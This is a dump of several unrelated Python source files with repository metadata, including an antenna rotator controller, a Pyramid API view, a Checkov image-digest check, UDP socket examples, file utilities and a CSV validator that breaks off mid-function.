"""Return a stylesheet that will show the wrapped error at the top of
the browser window.
"""
# TODO should this include the traceback? any security concerns?
prefix = self.format_prefix()
original_error = self.format_original_error()
sass_stack = self.format_sass_stack()
message = prefix + "\n" + sass_stack + original_error
# Super simple escaping: only quotes and newlines are illegal in css
# strings
message = message.replace('\\', '\\\\')
message = message.replace('"', '\\"')
# use the maximum six digits here so it doesn't eat any following
# characters that happen to look like hex
message = message.replace('\n', '\\00000A')
return BROWSER_ERROR_TEMPLATE.format('"' + message + '"')
class SassParseError(SassError):
"""Error raised when parsing a Sass expression fails."""
def format_prefix(self):
decorated_expr, line = add_error_marker(self.expression, self.expression_pos or -1)
return """Error parsing expression at {1}:\n{0}\n""".format(decorated_expr, self.expression_pos)
class SassEvaluationError(SassError):
"""Error raised when evaluating a parsed expression fails."""
def format_prefix(self):
# TODO boy this is getting repeated a lot
# TODO would be nice for the AST to have position information
# TODO might be nice to print the AST and indicate where the failure
# was?
decorated_expr, line = add_error_marker(self.expression, self.expression_pos or -1)
return """Error evaluating expression:\n{0}\n""".format(decorated_expr)
| [
"[email protected]"
] | |
55aa9b8bc82e37c05b6799ae8227f00cbc43dbd1 | 5608c2f74f8f929a461100c54aa02184c3c0a6f2 | /daemon/v2.0/ref/md01.py | 97b2022ff84f64907275b7deeaeebbf0df09b6a8 | [
"MIT"
] | permissive | vt-gs/tracking | c35c84cbb12d831a528f8cc5fd395fa05a3abf8c | 4588b840e69c1042d8e3560da44012101389e271 | refs/heads/master | 2021-01-02T22:42:27.694620 | 2019-06-23T16:52:40 | 2019-06-23T16:52:40 | 99,374,669 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,433 | py | #!/usr/bin/env python
#########################################
# Title: MD01 Controller Class #
# Project: VTGS Tracking Daemon #
# Version: 2.0 #
# Date: May 27, 2016 #
# Author: Zach Leffke, KJ4QLP #
# Comment: Expanded version of the MD-01#
# interface #
#########################################
import socket
import os
import string
import sys
import time
import threading
from binascii import *
from datetime import datetime as date
class md01(object):
def __init__ (self, ip, port, timeout = 1.0, retries = 2):
self.ip = ip #IP Address of MD01 Controller
self.port = port #Port number of MD01 Controller
self.timeout = timeout #Socket Timeout interval, default = 1.0 seconds
self.connected = False
self.retries = retries #Number of times to attempt reconnection, default = 2
self.cmd_az = 0 #Commanded Azimuth, used in Set Position Command
self.cmd_el = 0 #Commanded Elevation, used in Set Position command
self.cur_az = 0 # Current Azimuth, in degrees, from feedback
self.cur_el = 0 #Current Elevation, in degrees, from feedback
self.ph = 10 # Azimuth Resolution, in pulses per degree, from feedback, default = 10
self.pv = 10 #Elevation Resolution, in pulses per degree, from feedback, default = 10
self.feedback = '' #Feedback data from socket
self.stop_cmd = bytearray() #Stop Command Message
self.status_cmd = bytearray() #Status Command Message
self.set_cmd = bytearray() #Set Command Message
for x in [0x57,0,0,0,0,0,0,0,0,0,0,0x0F,0x20]: self.stop_cmd.append(x)
for x in [0x57,0,0,0,0,0,0,0,0,0,0,0x1F,0x20]: self.status_cmd.append(x)
for x in [0x57,0,0,0,0,0x0a,0,0,0,0,0x0a,0x2F,0x20]: self.set_cmd.append(x) #PH=PV=0x0a, 0x0a = 10, BIG-RAS/HR is 10 pulses per degree
def getTimeStampGMT(self):
return str(date.utcnow()) + " GMT | "
def utc_ts(self):
return str(date.utcnow()) + " UTC | "
def connect(self):
#connect to md01 controller
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP Socket
self.sock.settimeout(self.timeout) #set socket timeout
#print self.getTimeStampGMT() + 'MD01 | Attempting to connect to MD01 Controller: ' + str(self.ip) + ' ' + str(self.port)
try:
self.sock.connect((self.ip, self.port))
time.sleep(0.1)
self.connected = True
return self.connected
#upon connection, get status to determine current antenna position
#self.get_status()
except socket.error as msg:
#print "Exception Thrown: " + str(msg) + " (" + str(self.timeout) + "s)"
#print "Unable to connect to MD01 at IP: " + str(self.ip) + ", Port: " + str(self.port)
#self.sock.shutdown(socket.SHUT_RDWR)
self.sock.close()
self.connected = False
return self.connected
def disconnect(self):
#disconnect from md01 controller
#print self.getTimeStampGMT() + "MD01 | Attempting to disconnect from MD01 Controller"
self.sock.shutdown(socket.SHUT_RDWR)
self.sock.close()
self.connected = False
#print self.getTimeStampGMT() + "MD01 | Successfully disconnected from MD01 Controller"
return self.connected
def get_status(self):
#get azimuth and elevation feedback from md01
if self.connected == False:
#self.printNotConnected('Get MD01 Status')
return self.connected,0,0 #return -1 bad status, 0 for az, 0 for el
else:
try:
self.sock.send(self.status_cmd)
self.feedback = self.recv_data()
except socket.error as msg:
#print "Exception Thrown: " + str(msg) + " (" + str(self.timeout) + "s)"
#print "Closing socket, Terminating program...."
self.sock.close()
self.connected = False
return self.connected, self.cur_az, self.cur_el
self.convert_feedback()
return self.connected, self.cur_az, self.cur_el #return 0 good status, feedback az/el
def set_stop(self):
#stop md01 immediately
if self.connected == False:
#self.printNotConnected('Set Stop')
return self.connected, 0, 0
else:
try:
self.sock.send(self.stop_cmd)
self.feedback = self.recv_data()
except socket.error as msg:
#print "Exception Thrown: " + str(msg) + " (" + str(self.timeout) + "s)"
#print "Closing socket, Terminating program...."
self.sock.close()
self.connected = False
return self.connected, self.cur_az, self.cur_el
self.convert_feedback()
return self.connected, self.cur_az, self.cur_el #return 0 good status, feedback az/el
def set_position(self, az, el):
#set azimuth and elevation of md01
self.cmd_az = az
self.cmd_el = el
self.format_set_cmd()
if self.connected == False:
#self.printNotConnected('Set Position')
return self.connected
else:
try:
self.sock.send(self.set_cmd)
except socket.error as msg:
#print "Exception Thrown: " + str(msg)
#print "Closing socket, Terminating program...."
self.sock.close()
self.connected = False
return self.connected
def recv_data(self):
#receive socket data
feedback = ''
while True:
c = self.sock.recv(1)
if hexlify(c) == '20':
feedback += c
break
else:
feedback += c
#print hexlify(feedback)
return feedback
def convert_feedback(self):
h1 = ord(self.feedback[1])
h2 = ord(self.feedback[2])
h3 = ord(self.feedback[3])
h4 = ord(self.feedback[4])
#print h1, h2, h3, h4
self.cur_az = (h1*100.0 + h2*10.0 + h3 + h4/10.0) - 360.0
self.ph = ord(self.feedback[5])
v1 = ord(self.feedback[6])
v2 = ord(self.feedback[7])
v3 = ord(self.feedback[8])
v4 = ord(self.feedback[9])
self.cur_el = (v1*100.0 + v2*10.0 + v3 + v4/10.0) - 360.0
self.pv = ord(self.feedback[10])
def format_set_cmd(self):
#make sure cmd_az in range -180 to +540
if (self.cmd_az>540): self.cmd_az = 540
elif (self.cmd_az < -180): self.cmd_az = -180
#make sure cmd_el in range 0 to 180
if (self.cmd_el < 0): self.cmd_el = 0
elif (self.cmd_el>180): self.cmd_el = 180
#convert commanded az, el angles into strings
cmd_az_str = str(int((float(self.cmd_az) + 360) * self.ph))
cmd_el_str = str(int((float(self.cmd_el) + 360) * self.pv))
#print target_az, len(target_az)
#ensure strings are 4 characters long, pad with 0s as necessary
if len(cmd_az_str) == 1: cmd_az_str = '000' + cmd_az_str
elif len(cmd_az_str) == 2: cmd_az_str = '00' + cmd_az_str
elif len(cmd_az_str) == 3: cmd_az_str = '0' + cmd_az_str
if len(cmd_el_str) == 1: cmd_el_str = '000' + cmd_el_str
elif len(cmd_el_str) == 2: cmd_el_str = '00' + cmd_el_str
elif len(cmd_el_str) == 3: cmd_el_str = '0' + cmd_el_str
#print target_az, len(str(target_az)), target_el, len(str(target_el))
#update Set Command Message
self.set_cmd[1] = cmd_az_str[0]
self.set_cmd[2] = cmd_az_str[1]
self.set_cmd[3] = cmd_az_str[2]
self.set_cmd[4] = cmd_az_str[3]
self.set_cmd[5] = self.ph
self.set_cmd[6] = cmd_el_str[0]
self.set_cmd[7] = cmd_el_str[1]
self.set_cmd[8] = cmd_el_str[2]
self.set_cmd[9] = cmd_el_str[3]
self.set_cmd[10] = self.pv
def printNotConnected(self, msg):
print self.getTimeStampGMT() + "MD01 | Cannot " + msg + " until connected to MD01 Controller."
| [
"[email protected]"
] | |
828624b6a0bd565af050bba8f33e9056adbcecb7 | 7ac271f357f4c8f0c23c697b11966259f836880f | /app/web/api/dvdrental/actors/views.py | c01616606759e970c7df14c53e3b08550a941cdf | [] | no_license | cheng93/PythonWeb | 74a58eadee4ee7d2872a582a907bbf47630df371 | d5ced8dee1d5ba31778125c5e67169c92acf26a0 | refs/heads/develop | 2021-01-19T23:59:11.315871 | 2018-03-04T19:26:18 | 2018-03-04T19:26:18 | 89,063,916 | 0 | 0 | null | 2018-03-04T19:26:19 | 2017-04-22T11:09:14 | Python | UTF-8 | Python | false | false | 865 | py | from pyramid.view import view_defaults, view_config
@view_defaults(renderer='json', request_method='GET')
class ActorsView:
def __init__(self, request):
self.request = request
@view_config(route_name='get_actors')
def get_actors(self):
actors = self.request.actor_command.get_actors()
actors = [a.__dict__ for a in actors]
return actors
@view_config(route_name='get_actor')
def get_actor(self):
actor_id = self.request.matchdict['actor_id']
actor = self.request.actor_command.get_actor(actor_id)
return actor.__dict__
@view_config(route_name='get_actor_films')
def get_actor_films(self):
actor_id = self.request.matchdict['actor_id']
films = self.request.actor_command.get_actor_films(actor_id)
films = [f.__dict__ for f in films]
return films
| [
"[email protected]"
] | |
dc07e10ef638298141ad655475063b1d466b7bd6 | adbf09a31415e6cf692ff349bd908ea25ded42a8 | /challenges/custm_error.py | 6588a2c0db988b4e09b75f6b79a1402a21026bb8 | [] | no_license | cmulliss/gui_python | 53a569f301cc82b58880c3c0b2b415fad1ecc3f8 | 6c83d8c2e834464b99024ffd8cf46ac4e734e7a4 | refs/heads/main | 2023-08-12T22:33:01.596005 | 2021-10-11T12:35:41 | 2021-10-11T12:35:41 | 408,176,101 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 945 | py | class TooManyPagesReadError(ValueError):
pass
class Book:
def __init__(self, name: str, page_count: int):
self.name = name
self.page_count = page_count
self.pages_read = 0
def __repr__(self):
return (
f"<Book {self.name}, read {self.pages_read} pages out of {self.page_count}>"
)
def read(self, pages: int):
if self.pages_read + pages > self.page_count:
raise TooManyPagesReadError(
f"You tried to read {self.pages_read + pages} pages, but this book only has {self.page_count} pages."
)
self.pages_read += pages
print(f"You have now read {self.pages_read} pages out of {self.page_count}")
python101 = Book("Python 101", 50)
try:
python101.read(35)
python101.read(50)
except TooManyPagesReadError as e:
print(e)
# This now raises an error, which has a helpful name and a helpful error message.
| [
"[email protected]"
] | |
0231d5a6b9754525fcc80fa184b2442b8c4d82d2 | b449980703b2234e5610d20d22d54cb811722b68 | /netdisco/discoverables/nanoleaf_aurora.py | 135d785a425446491b59ae18c63cdcf06bf42dd8 | [
"Apache-2.0"
] | permissive | bdraco/netdisco | 81209c0ad21b2ca124b91fa67799034c337d62a8 | cf547a8bac673f5aa92cde98824929fc9a31f05b | refs/heads/master | 2023-06-17T09:40:18.001345 | 2020-06-17T21:23:05 | 2020-06-17T21:23:05 | 275,917,535 | 0 | 0 | NOASSERTION | 2020-06-29T20:20:12 | 2020-06-29T20:20:12 | null | UTF-8 | Python | false | false | 278 | py | """Discover Nanoleaf Aurora devices."""
from . import MDNSDiscoverable
class Discoverable(MDNSDiscoverable):
"""Add support for discovering Nanoleaf Aurora devices."""
def __init__(self, nd):
super(Discoverable, self).__init__(nd, '_nanoleafapi._tcp.local.')
| [
"[email protected]"
] | |
25164cbffde1974a5c531b3dfc519310cb45c313 | 334d0a4652c44d0c313e11b6dcf8fb89829c6dbe | /checkov/terraform/checks/resource/kubernetes/ImageDigest.py | 92de4c65bc61d761b0e9ee2ee9f999bd465db7c8 | [
"Apache-2.0"
] | permissive | schosterbarak/checkov | 4131e03b88ae91d82b2fa211f17e370a6f881157 | ea6d697de4de2083c8f6a7aa9ceceffd6b621b58 | refs/heads/master | 2022-05-22T18:12:40.994315 | 2022-04-28T07:44:05 | 2022-04-28T07:59:17 | 233,451,426 | 0 | 0 | Apache-2.0 | 2020-03-23T12:12:23 | 2020-01-12T20:07:15 | Python | UTF-8 | Python | false | false | 1,563 | py |
from checkov.common.models.enums import CheckCategories, CheckResult
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
class ImageDigest(BaseResourceCheck):
def __init__(self):
"""
The image specification should use a digest instead of a tag to make sure the container always uses the same
version of the image.
https://kubernetes.io/docs/concepts/configuration/overview/#container-images
An admission controller could be used to enforce the use of image digest
"""
name = "Image should use digest"
id = "CKV_K8S_43"
supported_resources = ["kubernetes_pod"]
categories = [CheckCategories.GENERAL_SECURITY]
super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)
def scan_resource_conf(self, conf) -> CheckResult:
spec = conf.get('spec')[0]
if spec:
containers = spec.get("container")
for idx, container in enumerate(containers):
if not isinstance(container, dict):
return CheckResult.UNKNOWN
if container.get("image") and isinstance(container.get("image"), list):
name = container.get("image")[0]
if "@" not in name:
self.evaluated_keys = [f'spec/[0]/container/[{idx}]/image']
return CheckResult.FAILED
return CheckResult.PASSED
return CheckResult.FAILED
check = ImageDigest()
| [
"[email protected]"
] | |
4485c5cf11f59565b40a8d538af812f0554de596 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03089/s906755257.py | 498b64bddcd6ad6dac9dc95de7a88f6376c3de4f | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | N = int(input())
B = list(map(int, input().split()))
ans = []
for i in range(N):
last = 0
for j, b in enumerate(B, 1):
if b == j:
last = b
if last == 0:
print(-1)
exit()
else:
ans.append(B.pop(last - 1))
[print(a) for a in ans[::-1]] | [
"[email protected]"
] | |
f9ed940a47fbdbac4844f4fe5e0289a9e96b9a9d | 7012c3609f4aa5712f17bfee199d856d36a968d2 | /Python프로그래밍및실습/ch2-data type, if statement/lab2-1.py | eba2e37ec30a334cd15096c6e63ae65ba045c421 | [] | no_license | rrabit42/Python-Programming | 1688c2b21ab19f09d2491152ae2dd0ddb1910288 | 551efb6fe4ee3b92c5cb2ef61d2198d55966471a | refs/heads/master | 2021-07-23T01:27:42.657069 | 2020-07-28T17:23:40 | 2020-07-28T17:23:40 | 200,571,844 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 167 | py | # 문자로 저장된 숫자들의 합 구하기
x = input("숫자1 : ")
y = input("숫자2 : ")
z = input("숫자3 : ")
sum1 = int(x) + int(y) + int(z)
print(sum1)
| [
"[email protected]"
] | |
df774daf61ba15eb90766bfcf097cd921934fd35 | bdcf56bc8fdf4255b34038bf0280f21917f185a7 | /005_landmarks_retrieval/test_data_generator.py | e8957bda42baa14c938c1e8339c6d7db082c7560 | [] | no_license | Apollo1840/United_Kagglers | 8dc05287f893a33f774efeaf0cd2ad436122dc69 | 80147867a6011da5a36e78473781481c805619ea | refs/heads/master | 2020-04-10T18:51:29.223449 | 2019-04-13T08:32:25 | 2019-04-13T08:32:25 | 161,214,800 | 1 | 0 | null | 2019-04-06T09:16:40 | 2018-12-10T17:53:31 | Python | UTF-8 | Python | false | false | 474 | py | # -*- coding: utf-8 -*-
"""
Created on Sat Apr 6 08:30:38 2019
@author: zouco
"""
from data_generator import triplet_generation
from data_generator import DataGenerator
tg = triplet_generation()
ID = "00cfd9bbf55a241e"
img3 = tg.get_one_input_tensor(ID)
print(len(img3))
print(img3[0].shape)
from tools.plot_image import plot_imgs
plot_imgs(img3)
dg = DataGenerator("test", None)
X, y = dg.__getitem__(1)
# print(X)
print(len(X))
print(X[0].shape)
print(y.shape)
| [
"[email protected]"
] | |
0b8635d05f232b3683ce31ae12276f9c46ef05a3 | 35b58dedc97622b1973456d907ede6ab86c0d966 | /day022/day22.py | 8f8b5cb73e108c01ced7d4dee535666b5e32f737 | [] | no_license | GithubLucasSong/PythonProject | 7bb2bcc8af2de725b2ed9cc5bfedfd64a9a56635 | e3602b4cb8af9391c6dbeaebb845829ffb7ab15f | refs/heads/master | 2022-11-23T05:32:44.622532 | 2020-07-24T08:27:12 | 2020-07-24T08:27:12 | 282,165,132 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,186 | py | # from socket import *
# s = socket(AF_INET,SOCK_DGRAM) #创建套接字
# addr = ('192.168.14.25',8080) #准备接收方地址
# data = input('请输入:')
# s.sendto(data.encode(),addr)
# #发送数据时,python3需要将字符串装换成byte
# #encode('utf-8') 用utf-8对数据进行编码,获得bytes类型对象
# #decode()反过来
# s.close()
# from socket import *
# import time
#
# s = socket(AF_INET,SOCK_DGRAM) #创建套接字
# s.bind(('', 8788))
# addr = ('192.168.14.25',8788) #准备接收方地址
# data = input('亲输入:')
# s.sendto(data.encode(),addr)
# time.sleep(1)
# #等待接收数据
# data = s.recvfrom(1024)
# # 1024表示本次接收的最大的字节数
# print(data)
from socket import *
#创建套接字
udpSocket = socket(AF_INET,SOCK_DGRAM)
#绑定本地信息,不使用随机分配的端口
binAddr = ('',7088)
udpSocket.bind(binAddr)
num = 0
while True:
#接收对方发送的数据
recvData = udpSocket.recvfrom(1024)
print(recvData)
#将接收到的数据发回给对方
udpSocket.sendto(recvData[0],recvData[1])
num += 1
print('已将接收到的第%d个数据返回给对方,'%num)
udpSocket.close() | [
"[email protected]"
] | |
1eb767cf72d777c0f346fc7cee95917651a364a3 | b736c527824198e1b07c821b685ca679cede79dd | /classes/FileSystemTools.py | 6485992423ec7a372ece0d2d6edc96202280c550 | [] | no_license | LaoKpa/neat-3 | c276b58ce2dd77ea32b701820adc29b99f508ec7 | b2b89023db5822d498b3edc84f8b84880dc6e6b6 | refs/heads/master | 2022-03-19T08:57:40.857925 | 2019-11-16T05:29:17 | 2019-11-16T05:29:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,461 | py | from datetime import datetime
from os import mkdir
import os
from copy import copy,deepcopy
import time
import glob
import subprocess
def getDateString():
return(datetime.now().strftime('%d-%m-%Y_%H-%M-%S'))
def makeDir(dir_name):
# Even if this is in a library dir, it should make the dir
# in the script that called it.
mkdir(dir_name)
return(dir_name)
def makeDateDir(base_dir='.'):
# Just creates a dir with the current date for its name
ds = getDateString()
full_dir = combineDirAndFile(base_dir, ds)
makeDir(full_dir)
return(full_dir)
def makeLabelDateDir(label, base_dir='.'):
# You give it a label, and it creates the dir label_datestring
dir_name = label + '_' + getDateString()
full_dir = combineDirAndFile(base_dir, dir_name)
makeDir(full_dir)
return(full_dir)
def combineDirAndFile(dir, file):
# Adds the file to the end of dir, adding a slash in between if needed.
return(addTrailingSlashIfNeeded(dir) + file)
def dictPrettyPrint(in_dict):
# Formats a dict into a nice string with each k,v entry on a new line,
# and prints it.
dict_str = '{\n'
for k,v in in_dict.items():
dict_str += '\t{} : {}\n'.format(k, v)
dict_str += '\n}\n'
print(dict_str)
def dictToStringList(dict):
pd_copy = copy(dict)
for k,v in pd_copy.items():
if type(v).__name__ == 'float':
if abs(v)>10**-4:
pd_copy[k] = '{:.5f}'.format(v)
else:
pd_copy[k] = '{:.2E}'.format(v)
params = [str(k)+'='+str(v) for k,v in pd_copy.items() if v is not None]
return(params)
def paramDictToFnameStr(param_dict):
# Creates a string that can be used as an fname, separated by
# underscores. If a param has the value None, it isn't included.
params = dictToStringList(param_dict)
return('_'.join(params))
def paramDictToLabelStr(param_dict):
# Creates a string that can be used as an fname, separated by
# ', '. If a param has the value None, it isn't included.
params = dictToStringList(param_dict)
return(', '.join(params))
def listToFname(list):
return('_'.join(list))
def parseSingleAndListParams(param_dict, exclude_list):
# This is useful for if you want to do multiple runs, varying one or
# several parameters at once. exclude_list are ones you don't want to
# include in the parameters in the tuple.
# It returns a list of the parameters that are varied,
# and a list of dictionaries that can be directly passed to a function, where
# each one has a different set of the varied params.
#
# You should pass the args where if you don't want to vary an arg, it's just normal
# my_arg = 5, but if you do want to vary it, you pass it a list of the vary values, like
# my_arg = [1, 5, 8]. If you want to vary two at the same time, you pass them both as separate
# lists, and it will match them up, but they need to be the same size.
# list_params is just a list of the params that were passed as a list, that we'll vary.
list_params = []
# single_params is a dict of the params that aren't varied and will have the same vals in each
# separate run.
single_params = {}
# ziplist is a list of the lists for the params that are varied. So if there are two varied
# args, each length 3, it will take these, and then below zip them to create a list of pairs.
# arg1=[1,2,3], arg2=[2,4,8] -> ziplist=[arg1,arg2] -> param_tups=[(1,2),(2,4),(3,8)]
ziplist = []
for k,v in param_dict.items():
if type(v).__name__ == 'list':
list_params.append(k)
ziplist.append(v)
else:
if k not in exclude_list:
single_params[k] = v
param_tups = list(zip(*ziplist))
vary_param_dicts = []
vary_param_tups = []
for tup in param_tups:
temp_dict = dict(zip(list_params,tup))
temp_kw = {**single_params, **temp_dict}
vary_param_tups.append(temp_dict)
vary_param_dicts.append(temp_kw)
# list_params: just a list of the names of the varied ones.
# vary_param_dicts: a list of the dicts that you can pass to each iteration, which includes the args that don't vary.
# vary_param_tups: a list of dicts corresponding to vary_param_dicts, of only the values that change.
return(list_params, vary_param_dicts, vary_param_tups)
def strfdelta(tdelta, fmt):
d = {"days": tdelta.days}
d["hours"], rem = divmod(tdelta.seconds, 3600)
d["minutes"], d["seconds"] = divmod(rem, 60)
return fmt.format(**d)
def getCurTimeObj():
return(datetime.now())
def getTimeDiffNum(start_time_obj):
diff = datetime.timestamp(datetime.now()) - datetime.timestamp(start_time_obj)
return(diff)
def getTimeDiffObj(start_time_obj):
#Gets the time diff in a nice format from the start_time_obj.
diff = datetime.now() - start_time_obj
return(diff)
def getTimeDiffStr(start_time_obj):
#Gets the time diff in a nice format from the start_time_obj.
diff = getTimeDiffObj(start_time_obj)
return(strfdelta(diff,'{hours} hrs, {minutes} mins, {seconds} s'))
def writeDictToFile(dict, fname):
# You have to copy it here, otherwise it'll actually overwrite the values in the dict
# you passed.
my_dict = copy(dict)
f = open(fname,'w+')
for k,v in my_dict.items():
if type(v).__name__ == 'float':
if abs(v)>10**-4:
my_dict[k] = '{:.5f}'.format(v)
else:
my_dict[k] = '{:.2E}'.format(v)
f.write('{} = {}\n'.format(k, my_dict[k]))
f.close()
def readFileToDict(fname):
d = {}
with open(fname) as f:
for line in f:
(key, val) = line.split(' = ')
val = val.strip('\n')
#This is to handle the fact that everything gets read in
#as a string, but some stuff you probably want to be floats.
try:
val = float(val)
except:
val = str(val)
d[key] = val
return(d)
def dirFromFullPath(fname):
# This gives you the path, stripping the local filename, if you pass it
# a long path + filename.
parts = fname.split('/')
last_part = parts[-1]
path = fname.replace(last_part,'')
if path == '':
return('./')
else:
return(path)
def fnameFromFullPath(fname):
# This just gets the local filename if you passed it some huge long name with the path.
parts = fname.split('/')
last_part = parts[-1]
return(last_part)
def stripAnyTrailingSlash(path):
if path[-1] == '/':
return(path[:-1])
else:
return(path)
def addTrailingSlashIfNeeded(path):
if path[-1] == '/':
return(path)
else:
return(path + '/')
def gifFromImages(imgs_path, gif_name, ext = '.png', delay=50):
imgs_path = stripAnyTrailingSlash(imgs_path)
file_list = glob.glob(imgs_path + '/' + '*' + ext) # Get all the pngs in the current directory
#print(file_list)
#print([fnameFromFullPath(x).split('.png')[0] for x in file_list])
#list.sort(file_list, key=lambda x: int(x.split('_')[1].split('.png')[0]))
list.sort(file_list, key=lambda x: int(fnameFromFullPath(x).split(ext)[0]))
#list.sort(file_list) # Sort the images by #, this may need to be tweaked for your use case
#print(file_list)
assert len(file_list) < 300, 'Too many files ({}), will probably crash convert command.'.format(len(file_list))
output_fname = '{}/{}.gif'.format(imgs_path, gif_name)
check_call_arglist = ['convert'] + ['-delay', str(delay)] + file_list + [output_fname]
#print(check_call_arglist)
print('Calling convert command to create gif...')
subprocess.check_call(check_call_arglist)
print('done.')
return(output_fname)
# older method:
'''with open('image_list.txt', 'w') as file:
for item in file_list:
file.write("%s\n" % item)
os.system('convert @image_list.txt {}/{}.gif'.format(imgs_path,gif_name)) # On windows convert is 'magick'
'''
#
| [
"[email protected]"
] | |
0895c3c506eb9016c11feb353775a2cd9aed3f62 | f4b3be2a3955c26b4e05ab162fa4909cf9a14f11 | /CRB/validators/subsystems/csvwriters/pivalidatecsv.py | 50f60246ca50193cebf7afc4e52a74e9b776ef81 | [] | no_license | njovujsh/crbdjango | fd1f61403c1fbdac01b1bda5145faeb4b9ef9608 | fdf5cc6ca5920a596c5463187d29202719664144 | refs/heads/master | 2022-12-04T18:13:07.709963 | 2018-05-14T09:07:47 | 2018-05-14T09:07:47 | 133,333,767 | 0 | 0 | null | 2022-11-22T01:44:28 | 2018-05-14T09:04:17 | JavaScript | UTF-8 | Python | false | false | 21,868 | py | from validators.subsystems.csvwriters import processcsvs
from django.utils.encoding import smart_str
from validators.subsystems.datasets import validationstatus
from django.http import HttpResponse
from validators.subsystems.datasets import pcivalidate
from validators.subsystems.datasets import scivalidate
class CSVPIValidated(processcsvs.ProcessCSV):
def __init__(self,filename, dialect, row, headers, delimiter="|",response=None):
super(CSVPIValidated, self).__init__(filename, dialect,delimiter,response=response)
self.delimiter = delimiter
self.row = row
if(headers):
self.write_headers(headers)
def write_row_data(self, coldata, val):
try:
self.validated_field = self.validate_and_return(val)
#handle the pcivalidation
self.pci_validation = pcivalidate.PCIValidate()
#self.sci_validation = scivalidate.SCIValidate()
#self.sci_validation.begin_validation()
self.pci_validation.begin_validation()
self.validated_pci_dict = self.pci_validation.get_real_dict()
#self.validated_sci_dict = self.sci_validation.get_real_dict()
self.PCI_Building_Unit_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Building_Unit_Number"))
self.PCI_Building_Name = self.load_validated_field(self.validated_pci_dict.get("PCI_Building_Name"))
self.PCI_Floor_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Floor_Number"))
self.PCI_Plot_or_Street_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Plot_or_Street_Number"))
self.PCI_LC_or_Street_Name = self.load_validated_field(self.validated_pci_dict.get("PCI_LC_or_Street_Name"))
self.PCI_Parish = self.load_validated_field(self.validated_pci_dict.get("PCI_Parish"))
self.PCI_Suburb = self.load_validated_field(self.validated_pci_dict.get("PCI_Suburb"))
self.PCI_Village = self.load_validated_field(self.validated_pci_dict.get("PCI_Village"))
self.PCI_County_or_Town = self.load_validated_field(self.validated_pci_dict.get("PCI_County_or_Town"))
self.PCI_District = self.load_validated_field(self.validated_pci_dict.get("PCI_District"))
self.PCI_Region = self.load_validated_field(self.validated_pci_dict.get("PCI_Region"))
self.PCI_PO_Box_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_PO_Box_Number"))
self.PCI_Post_Office_Town = self.load_validated_field(self.validated_pci_dict.get("PCI_Post_Office_Town"))
self.PCI_Country_Code = self.load_validated_field(self.validated_pci_dict.get("PCI_Country_Code"))
self.PCI_Period_At_Address = self.load_validated_field(self.validated_pci_dict.get("PCI_Period_At_Address"))
self.PCI_Flag_of_Ownership = self.load_validated_field(self.validated_pci_dict.get("PCI_Flag_of_Ownership"))
#self.PCI_Primary_Number_Country_Dialling_Code = self.load_validated_field(self.validated_pci_dict.get("PCI_Primary_Number_Country_Dialling_Code"))
self.PCI_Primary_Number_Telephone_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Primary_Number_Telephone_Number"))
#self.PCI_Other_Number_Country_Dialling_Code = self.load_validated_field(self.validated_pci_dict.get("PCI_Other_Number_Country_Dialling_Code"))
self.PCI_Other_Number_Telephone_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Other_Number_Telephone_Number"))
#self.PCI_Mobile_Number_Country_Dialling_Code = self.load_validated_field(self.validated_pci_dict.get("PCI_Mobile_Number_Country_Dialling_Code"))
self.PCI_Mobile_Number_Telephone_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Mobile_Number_Telephone_Number"))
#self.PCI_Facsimile_Country_Dialling_Code = self.load_validated_field(self.validated_pci_dict.get("PCI_Facsimile_Country_Dialling_Code"))
self.PCI_Facsimile_Number = self.load_validated_field(self.validated_pci_dict.get("PCI_Facsimile_Number"))
self.PCI_Email_Address = self.load_validated_field(self.validated_pci_dict.get("PCI_Email_Address"))
self.PCI_Web_site = self.load_validated_field(self.validated_pci_dict.get("PCI_Web_site"))
#self.SCI_Unit_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Unit_Number"))
#self.SCI_Unit_Name = self.load_validated_field(self.validated_sci_dict.get("SCI_Unit_Name"))
#self.SCI_Floor_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Floor_Number"))
#self.SCI_Plot_or_Street_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Plot_or_Street_Number"))
#self.SCI_LC_or_Street_Name = self.load_validated_field(self.validated_sci_dict.get("SCI_LC_or_Street_Name"))
#self.SCI_Parish = self.load_validated_field(self.validated_sci_dict.get("SCI_Parish"))
#self.SCI_Suburb = self.load_validated_field(self.validated_sci_dict.get("SCI_Suburb"))
#self.SCI_Village = self.load_validated_field(self.validated_sci_dict.get("SCI_Village"))
#self.SCI_County_or_Town = self.load_validated_field(self.validated_sci_dict.get("SCI_County_or_Town"))
#self.SCI_District = self.load_validated_field(self.validated_sci_dict.get("SCI_District"))
#self.SCI_Region = self.load_validated_field(self.validated_sci_dict.get("SCI_Region"))
#self.SCI_PO_Box_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_PO_Box_Number"))
#self.SCI_Post_Office_Town = self.load_validated_field(self.validated_sci_dict.get("SCI_Post_Office_Town"))
#self.SCI_Country_Code = self.load_validated_field(self.validated_sci_dict.get("SCI_Country_Code"))
#self.SCI_Period_At_Address = self.load_validated_field(self.validated_sci_dict.get("SCI_Period_At_Address"))
